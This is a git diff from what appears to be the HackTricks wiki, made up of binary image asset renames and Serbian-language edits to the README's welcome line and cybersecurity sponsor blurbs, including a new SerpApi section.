diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 1a985c3d4..13854046c 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 13854046c..ee3722524 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..eaa792ed6 Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eaa792ed6..eb7611c98 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eb7611c98..4ede9266b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 4ede9266b..d7789e602 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d7789e602..ca4b6651b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index ca4b6651b..0330f840b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0330f840b..8190e06a7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 8190e06a7..0c49287b0 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0c49287b0..bedca8e18 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..611702103 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png index 611702103..f0efd5ebd 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index f0efd5ebd..68b506e08 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index 68b506e08..94022a58d 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 94022a58d..7118b03d4 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 7118b03d4..ae8c5810e 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index ae8c5810e..e0b33932e 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index e0b33932e..6c2c20ea1 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 6c2c20ea1..70413c7ff 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..455fbb8b7 Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 455fbb8b7..6874f9c86 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 6874f9c86..38b71f3d4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 38b71f3d4..7dcdeb084 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 7dcdeb084..865dc4ae4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png index 865dc4ae4..0d52048cb 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png index 0d52048cb..b98c9fbbc 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index b98c9fbbc..78abb7891 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index 78abb7891..cdd56bb93 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index cdd56bb93..f406f4410 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index f406f4410..61513f7bf 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index 61513f7bf..e0b33932e 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index e0b33932e..2c0467343 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index 2c0467343..3646dc3f3 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 3646dc3f3..f2f640d8c 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index aad8241e3..8ad38e912 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ _Logotipi i dizajn pokreta Hacktricks-a od_ [_@ppiernacho_](https://www.instagra **Dobrodošli na wiki gde ćete pronaći svaki hakovan trik/tehniku/šta god sam naučio iz CTF-ova, aplikacija u stvarnom životu, čitanjem istraživanja i vesti.** {% endhint %} -Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba da pratite prilikom pentesta** jedne ili više **mašina:** +Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba pratiti prilikom pentestinga** jedne ili više **mašina:** {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) @@ -20,11 +20,11 @@ Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treb
-[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene hakeračke alate kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke. +[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene alate za hakovanje kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke. Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks-a :) +**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks :) *** @@ -32,7 +32,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
-[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini. +[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih stručnjaka u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} @@ -40,11 +40,11 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo ### [Intigriti](https://www.intigriti.com) -
+
-**Intigriti** je **broj 1** etička hakeračka platforma i **bug bounty platforma** u Evropi. +**Intigriti** je **broj 1 u Evropi** za etičko hakovanje i **platforma za bug bounty.** -**Savet bug bounty-a**: **Prijavite se** za **Intigriti**, premium **bug bounty platformu kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! +**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -52,10 +52,10 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice. +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice. Pristupite danas: @@ -67,7 +67,7 @@ Pristupite danas:
-Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bug bounty! +Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bug bounty! **Uvidi u hakovanje**\ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja @@ -76,7 +76,7 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu **Najnovije najave**\ -Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim ažuriranjima platforme +Budite informisani o najnovijim bug bounty programima i važnim ažuriranjima platforme **Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! @@ -84,14 +84,32 @@ Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim ### [Pentest-Tools.com](https://pentest-tools.com/) - Osnovni alat za testiranje penetracije -
+
-**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. +**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im omogućili više vremena za dublje kopanje, otvaranje školjki i zabavu. {% embed url="https://pentest-tools.com/" %} *** +### [SerpApi](https://serpapi.com/) + +
+ +SerpApi nudi brze i jednostavne API-je u realnom vremenu za **pristup rezultatima pretrage na internetu**. Oni skeniraju pretraživače, upravljaju proxy-jima, rešavaju captcha-e i parsiraju sve bogate strukturisane podatke za vas. + +Pretplata na jedan od planova SerpApi uključuje pristup preko 50 različitih API-ja za skeniranje različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge. + +Za razliku od drugih pružalaca, SerpApi ne skenira samo organske rezultate. Odgovori SerpApi-a uvek uključuju sve oglase, inline slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage. + +Trenutni klijenti SerpApi-a uključuju Apple, Shopify i GrubHub. + +Za više informacija pogledajte njihov [blog](https://serpapi.com/blog/)**,** ili probajte primer u njihovom [**igralištu**](https://serpapi.com/playground)**.** + +Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.** + +*** + ### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
@@ -104,17 +122,16 @@ Budite informisani o najnovijim bug bounty programima koji se pokreću i važnim
-[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **ofanzivne bezbednosne usluge** sa **modernim** pristupom. +[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštitu** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom. -WebSec je **sve-u-jednoj bezbednosnoj kompaniji** što znači da rade sve; Pentesting, **Bezbednosne** Revizije, Obuke o svesti, Kampanje za ribarenje, Pregled koda, Razvoj eksploatacije, Outsourcing bezbednosnih eksperata i mnogo toga. +WebSec je **kompanija za sveobuhvatnu bezbednost** što znači da rade sve; Pentesting, **bezbednosne** provere, obuke o svesti, kampanje ribarenja, pregled koda, razvoj eksploatacije, outsourcing bezbednosnih stručnjaka i mnogo više. -Još jedna cool stvar o WebSec-u je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! +Još jedna cool stvar u vezi sa WebSec-om je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**veb stranicu**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! Pored 